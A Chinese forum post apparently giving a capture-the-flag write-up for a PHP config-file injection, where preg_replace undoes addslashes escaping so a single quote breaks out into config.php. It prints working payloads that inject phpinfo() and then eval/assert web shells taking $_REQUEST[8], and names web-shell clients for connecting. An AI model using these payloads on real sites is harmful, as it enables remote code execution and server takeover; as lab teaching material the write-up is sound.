CTF-3解题思路

Track-子羽   ·   发表于 2021-11-04 16:21:13   ·   CTF&WP专版

解题思路

经典的配置文件写入问题漏洞

源码:

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php 的内容如下:

<?php
$option='test';

要求是要getshell,这个场景十分经典,常用在修改配置文件写入的时候。
此处不存在之前说的那个配置文件中用的是”双引号”引起任意代码执行的问题,这这里面用的是单引号,而且 addslashes()处理过了,看似很安全(斜眼笑.jpg)

利用 preg_replace函数的问题:

preg_replace函数在处理字符串的时候,会自动对第二个参数的 \ 这个字符进行反转移.
也就是说如果字符串是 \\\',经过 preg_replace()的处理,就变为 \\',单引号就逃出来了.

所以payload如下:

?option=a\';phpinfo();//

config.php变为:

<?php
$option='a\\';phpinfo();//';

道理就是 a\';phpinfo();// 经过 addslashes()处理之后,变为a\\\';phpinfo();// 然后两个反斜杠被preg_replace变成了一个,导致单引号逃脱.

直接传入shell

?option=a\';assert($_REQUEST[8]);//
或者
?option=a\';eval($_REQUEST[8]);//

传入shell后连接菜刀(或者蚁剑)

http://uu0lo9a3.lab.aqlab.cn/config.php

打赏我,让我更有动力~

0 Reply   |  Until 7个月前 | 261 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.